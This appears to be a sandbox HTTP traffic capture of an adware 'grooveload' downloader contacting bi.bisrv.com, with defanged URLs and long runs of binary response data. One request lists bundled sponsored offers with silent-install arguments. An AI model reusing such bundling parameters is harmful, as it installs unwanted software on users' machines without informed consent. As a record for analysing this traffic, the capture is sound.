User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:14 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.H.6....B9m..(.vVUR..y..n..vVf..... .....K.._s!...
............lgeuewY.....r...9..M.....6\.G...`.....Q....E\K..l...`..o.5
...d.],j|)......Y.!....w....ZT...G.M.I.V6./..(..Je......z.[_~..v......
F.x4O....l2... ..t...w....i2L..o|..,[......../..q.H{..t...w..l.M..D..f
qr~:...1......5.?.N..t6..}y............h9.n}..*.7..X.o...tv|k^.......{
.......V2...O?NF.......|.O/..t2....yv.......A.|...0..,..x.d9...Ga..w.c
.}3...|.p........u....q.[.....].:[..*....;x...h..3N'=<t#......2...t
...9._.O..............v...E:K.k..^6....O..A<...~6J..o.\[email protected].
...?f.d.o..P..2G.Ne.....x..>........2..;.....L<.....f.d..ae.0..Q
.]f.X.t......|..v.OzS.m.....{\M.d...g..w.3..4..'..g~8..V.N......2{.9..
..,.Y<Hu.a..wg....~.&N..~6...Y/.-.......e.Xp..w.6l.vZ.......U.M....
.r6r..nJ....9.5.ar......{{..>......_v..............J....`..c....;?.
..._......V...... g<.!...G.u6.....\.{A.2...o.{.w.4...^...o .}U.....
...T......__..j...o.........c.W..........s....N..V.....o.])_...._.....
...k.W~.......{.....oX..-...{.U~...u..{7...o..{...i..!.2...`...B/.c..i
O..G.x>O...^..I..<.{..o9....<..a...../..0x....-.%....^..|.P..
/.;..|.g5w8<...8...r".V=..a......lr..1n.g...p.[......(.2....."x.q..
.(n.......4.^......Y...hw?=HZ.t2X.....q...=s#....dkw.....$.z.....'.2..
.5>..'W...........y..b..[..[..q.*L...V........CY..By4H.f.......jI..
.......7A..9.o..-..|R..Q.[.p...........#.%..q.2r:....fom.R...kx1...U..
..J...z...$...Ei......|..Y....n......m......W.[...*......l:.T.........
..a.CP=..U,^.0B....w.Y..9p%..xs...o.....=..&K...K'.....^..x.......
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=2&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=2&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=3&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=608d3271d8f3494f867a2b514a49c4e9&uid=118da1f976d76e498cb7b97066dd3d92&tokyo_csrf_key=9c3600a91175a84c6c70fe97d9191255&tokyo_csrf_timestamp=1429064894&ffInstalled=false&dfz=false&affid=grooveload&sid=grooveload&country=UA&hostBrowser=ff&unique_id=8625ca1db67bb0868ba6d89d9c34550b HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/downloader/grooveload/gro
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:15 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
531.............Xmo.8.. .?.Il'i.....n;..7....2..L'Bm.'......H[I.&...:l
....%.".>......;.s..2U..s.@1#.IE...-yn.r....z.j.EK.s .....r6...I .N
..JS.e.g.JR%.. ...9[..k....D.w.#..*{..\..1.......1.p.GL-.tw..v.....?..
...B....>.O.......K:C...RA.k.....@.....,.....d....s...QFqe...wn.Kv 
(N..d.q.{..{.-.6._...u.d..RtQ.s7 .....$.\k....F.w..x...eY.>.......x
..?.............o......I..?.....&#.~{z..X..XAv."......p..Q....J6...u-.
us-..&......u<..Zo.h..C.....:.e... ....&...". M?/ ..0.4.H.w....}...
k.0..i@...[@..V.c.....*2....z.|Fo:.3z..u..]......z~w>a.c..I.2Y.._].
..YQe...4El...B*.fw......?m...NL6ZDq......@f&MTTyL..`\/[email protected]....._
..^..(.R!J.~.....6:o..{..:w...g..:..e>...W...<.6...^.)J..~#.....
...o0....z........h......)....{ .Q.....{".]?|r...".xx..[.....}........
i|....=..... ...=...Y.SFW*..zK.-.?v...}.Z..Be..>.&W .._....._.N<
@/.......}...3...(..Q.9...Y..Py.-.U..(vVl.!..q..[...j.Gz..m>....~.C
.1...&.3.-.....^4..........b7.\...Y....k'[email protected]$...RVe...._:...l..aq.
.X!*.b.....q6.:F:.....c;A.... h.MxIT...F.qKwm.. s4B.8...OS;..JFR.-..-.
.$.......z.B.w.m......m..?.v.Aj3....1.....;..f............d..F..0..0..
R/..r..4.mx.c.../P.y..h<...e>.'.. ..&...PJ.y...N.i.......M......
up>=....)..... .."j..U....Z.7,.....d|.vXo;...!~..u{\.w.g|".xP..dx.&
gt;Z...G[.iX...<c.)...{...O'O..U;....M./3,.F.X^...7k.B.U.D...!.....
 .x..d.. ..I...0...i ......tg.0.....tt.....I.:.....0......
<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=1&index_in_screen=1&index_in_session=1&0.9926674870558865 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:15 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:15 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/downloader/grooveload/grooveload/118da1f976d76e498cb7b97066dd3d92?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=118da1f976d76e498cb7b97066dd3d92&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d31kvmpgk4j074.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Tue, 14 Apr 2015 08:52:17 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-6721"
Expires: Tue, 14 Apr 2015 09:02:17 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 20
X-Cache: Hit from cloudfront
Via: 1.1 4da6f8793ff0878768929ba7a124e75d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7L4pGtvkmKRp2NmYWKMKQnIUm0sYJcbg7PoLhtL9vGLeYl1598w7YQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:05 GMT
Content-Type: application/ocsp-response
Content-Length: 1474
Connection: keep-alive
Set-Cookie: __cfduid=d77e0ad3a5a4565daa737a4765088dc8e1429065125; expires=Thu, 14-Apr-16 02:32:05 GMT; path=/; domain=.globalsign.com; HttpOnly
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: 344c964259a08f61e63798294ce08674bbf64f91
Expires: Wed, 15 Apr 2015 05:55:48 GMT
Last-Modified: Tue, 14 Apr 2015 17:55:48 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1d743ceb014401b1-FRA
0..........0..... .....0......0...0......,p... ...Gy.....'..B..2015041
4175548Z0u0s0K0... ........k..vY.d..X.R*.....C....n......>..t]..../
Pz...!gS....X..?....&\....20150414175548Z....20150415055548Z0...*.H...
........Tb.7@0K.(....6f....Yd......Y..o2.xS5t7..[<.v..E..A.B..|Y.1.
c. \.%.a. .VL.Gg........-M.!D..a..9ML.!.I}-.....4... ....)...8......;y
F^j.vB.Gvr...N.....y..o.._2..[..q#...Z<......{.."_L.....3C.5..L...j
.K6FHr......w....i...........G.....m.a..7.....w[.b..O.!.N.......0...0.
..0...........!~.(......gxK.2.T0...*.H........0Q1.0...U....BE1.0...U..
..GlobalSign nv-sa1'0%..U....GlobalSign CodeSigning CA - G20...1503030
92326Z..150603082326Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08..U
...1GlobalSign CodeSigning CA - G2 OCSP responder - 11.0...U....201503
031023000.."0...*.H.............0..............E..%p...1.._N.DD..y:\Q.
..........\.2!PFr...=.C-..dYY........e....yAy...U.HZ3.O....w&Z.:.>.
[......>.(..l..t.g3@X&..*i......i.u{...C.....B...........gj......s.
!..~..].mS.#.,A @.......b...i.*G....2l.u.....<ISC....F......}0....w
2W..KC......6_.........Wua........0..0...U....0.0...U...........0...U.
%..0... .......0... .....0......0...U......,p... ...Gy.....'..B0...U.#
..0....n......>..t]..../Pz0...*.H.............y..6.-....H.~...H....
.L..:G.....p...C..:.... /...5M.^}...5Q.~.....VC...Y.Z(I.k....P. s.!..b
..,.A........~..y.G.H....N._......J.........|.k4..../...........('....
.)..:..t....-..}e&.*..:*8IH|2s::r..63..Y..G.....#.- ........N....R..X.
.@. j.,.........N.h........
<<< skipped >>>


GET /home HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: symfony=01fnp9vcg08u4tvg037tpffer5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
17b8.............].r.Hz.....TYv".|.-M..eiG....v<5.j.....p.P...U..T%
.Jn..Tjs..B.r.7.N..y.|...(Q...!.*K$.h...........m..=..Q6..........!...
.(..w......"...'4J.,.#..b..EZ.,.<......B..d(...w./.?\...*O.^....x..
..q...K..m...n.FOC..7[,j..../.y>b../.2..32J...V....,..q<.......c
.M..}:.......5..ps-..C.....Hv9a.k.{...ke.c.Q.R6.`?L....6zgQ..G..q.w...
9>.g...$e..4.7....=Et..8......$%{4..?.?.h...M.....g... %..a.qH"vA..
...G.dB.,N.n...X../.).....YBFq.?...:q.lD..1B#.h4.][email protected]..|.
o4?...$N@.|.../.mz.<p.F....".....KC.......]^...Vg. v.C......e..9e..
f.z1.\...7.....e.k.Q.a..-......K..9[.|Y.f..\,.W`.1.J1..;.H.9i..m.>.
...._W........U......"c...M\,.U..%.i..y.N.......u7Ibo.f...0..2'~7.1...
..N.[zN..-.&.&_.o....._...I..?LYr)..)(..a..}.....EW..O.I...%K.Z~..4X..
.....UF.....t..G`.&q.~.`.k.8w....$.C.c...|.>....x}..............{..
.2.....en...f.,...~.......O~...w.o.?.-..~.......i:zL..t.N.>..z~3...
.s.....O..M....M'd........1..YV.J_\...........F..^F...W.q.gcaB..r.{L..
.%....c?.$....... ...u/v.....s...V..B.m..L.......-.t.../.>...ZA..:Y
{....C7,K.....a.n.C...gR.y.....s.y.W...fq&..;.w..j/8'.....h.7.....rc..
.;"..........d~./f..z..a.n......4.F...........q...2......yC.../..(.3l.
`<,.D0.......N.-....>.ON.h....ai.KU.5..Br..\..1._.|NeAGA.._T&o..
.?$'..;...... |q..0.XR,.....l.T....D..T......R|......Q....,.M.ND.0...E
,..Y.J.,.e..eS.MIU.I7....uT.g.lQYvdM.D..)T..*..w-B.C..V.|....L..%k....
.W.y..,....0..N..I.;M.............R.......j.l1f........3P.fS/.Y..Y4.p6
..?K&4..]c.T..U..M.eEa.m.....o...J.....2......0..J...3..v.}..mfM.0
<<< skipped >>>

GET /css/main.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: text/css
Content-Length: 0
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-0"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
....


GET /css/product.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /css/lightbox.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/lightbox.js HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
...JM.....yY.iS.B.....&.....#.gh.b.C=.X..e...O.k.a..0,..7p..Xr......L.
.%bjcZ.|a.........%3.J..h.h.".[4..T..9$$.n".._.......:...[f..7...^..z.
...|.....6..pt...A,4..s.rg../<.t2.k..<..5/gJb........[-......ow.
.. MP.5$0..........z..3O..].<.n<..v.. ....#..sH...... 8.Q..8L...
...QV..q..B....s7t.]7..1 ........`....V......&...H.ui. ..`..e.$....4..
P..yx,=..1-.n.h..A.#|......^*.....[..t......M.:..V..{R..$"..).?gB.m.lc
n..g.....3.|.c......Nf.o.YN..x..%.2.."_q2!..gy. .......p...}...^.y3...
.Q...p?.aN....=..a.....m.kR(N.=U#....=..Q;r........Y..y..X.!...;..m..!
..7.....6.....%...j.]!.....)V..~.. _.sTo.9..p.._r....d*!...2.F.!.$<
.4....OP..Y...~.8.....(.6....2N......=".......|.U....o........#.[..i.J
.........&....S(.M.......$o.ia.$}.C.}v8..s...U....Ca.^....l...7.. 
<<< skipped >>>

GET /thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: image/png
Content-Length: 116206
Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT
Connection: keep-alive
ETag: "51ba0702-1c5ee"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...y.mGU/...j
...>}[email protected]#~..\.@@}.(".<..{A.."......J.A...AHBh.D
........j.....Ys5.............Y.....(z.O.......HU.H... 0..h.0Q_..?....
@...W...<.$b...-..T?.J...".. p*\.LZ.......Q)1......h.....KT...].4..
.%u..E.h.S.1:........d.<.s.AK....V....K.d..G....m .Q.~....F.<5Z.
....Uk5}.j.n.......B.Q@%. [email protected].*H?G....D..%H...b..i...E.bf...5M3
.7~..c. &ff.w.-.. 1..C.c.!......w.....mv......jYt......9&.....0"T....H
EI..L_4....S...$..,...N.l*P.B..A....\..QU!...@U4B.%.HT...*..bT..%h..A.
D..Q.&.9..heuu...;..]..o......v.......|..C.7.O.M...t...m..0.B'.b..j8..
.1\t..kR...#...uT.i..Hu...>Q..[d...R.J.vE.I..c..@>....R..."=...f
.I.w....a@\.s*..D=uI.....3.?bw..d...tE....n9n:....V.S....3...4..B.....
P..<C.a..NN=..G....<.4..R..#..\..R..PQ.(....H..#i.......D..JQEEU
Db...1...Q.....e{...j.b...Jl?2.cfG.`I..*A..*g.'..r$..j..H.U.....Y.~..Z
.....FT...S5N.P...*...y.5.v...~TUUDD4....b#ff&b&.).1...rD.&..m../|..2.
...XS...f4.J.._.......j..h.ZtKL...R....i....Y..f^..0..)s.j..,.Y......`
.3:L..z....................D....D.E....Y.*.s../~.2.>l3.."M.hn...C..
.j...Z..;...;G...j!#C...9v12......(1J'.E$.$.o.vZ...".%. .c...%.(b.JT..
W.F...S."...9&..1.#v..1.*.T..*$..J...i......2%..y.U..^.`9.Z....P-}HRB.
.. W.~.1....<;;:..DUEEDb.(....1..9b...9V.9.....X5....?..1.dy}...p.f
{. O4..Z.S1.P...p......u...,.......hZF...tk$]0...c.7...X6..b7....=....
P^....L..f...$.%....n....)U..*-.. ....j4.............,..tI{.fdoa...!s1
.......s.i..L9A...FC.e...F.GO.....(Q..w1.....D.9.`R.3........3.9..
<<< skipped >>>

GET /thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:35 GMT
Content-Type: image/png
Content-Length: 173932
Last-Modified: Thu, 13 Jun 2013 17:00:48 GMT
Connection: keep-alive
ETag: "51b9fac0-2a76c"
Expires: Wed, 15 Apr 2015 02:59:35 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.............X.h.....sBIT.....O... .IDATx...w..G.8.^U.
...9h....%Y.ec..9c.1`...8L<8...w...3..q&...q..c.c.. ..........6....
.....LOOO.J ~..i>.....W..zU...0...{.N... .f........\.!S...9K.[..4_.
... ..D$N.O..}....'.\.QQSU..\Y..$.R....9.......@B........ .......a..zh
.._&.#..$.$_..[....W0.IB..........S...[..A..B0....B..........}.S.e.}..
....}..8...\c.D2...\[email protected]`*99.y....#1.lHa..k:.
........'..)....`n.e 2.f....S...........P..G?.zi.(..I........a.S...B..
<.....cID...a ......._.'.c....!g..=.R.....i.J....:[email protected]
5.Y[gG}....J...i..\p......y8....(.Qg.H...3x.....OD..x,..Ec.h$.....h\I.
..).....$......D,...D(.@%. ."..f..e...t9.^...r..^...qI.D........T....R
.."I..lvrz....h...P;.8.........pa...B...4strL.L.".us.i...0...}F.B.....
.......\... D.#...?Uf..M.9.......Y.e.6.F...K..D..U..;wr..-RM..M..P'...
..=...'..._|........315.,..nH..6...s.....A^.y.%.\.:._J.R.Lb6...9Y....&
lt;...Y.9......*.....  ..U&N.U.....^.R..dQmC....TUcL.9...!.a.J)..T5...
..........@4.@!.v{..].......|^...r.....!..$I._I.V...7..jBpMc..TU....h4
............?..D...!...........}^..f...g...T.4.Pb...X|lp....=.... ..7.
.......A._0k~.......B7..9>M.......uV........sl....kc.X.......U...,.
uS..QR..B9A."M...........o..?....*/D.S).D......., .Hyz.|X.9A .yI.t...0
?..{...e`2...$j.....Tb...b.9.)....v..X.$....8;...}.h.`[email protected]
..T..H(%...F..f.F.......ER[QVW[UW_S^^RT\T\T$I.....s..O .iVla...S=.`..)
A"@0...P.....................,.....,..ym.....0...!.M........u..G.Vy.]f
o[.2..Ad..l...p..6'fj..a..L.3..T...:.....2..k/.o....Y..p.7,..&Rczd
<<< skipped >>>

GET /images/4.5stars.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=01fnp9vcg08u4tvg037tpffer5


HTTP/1.1 200 OK
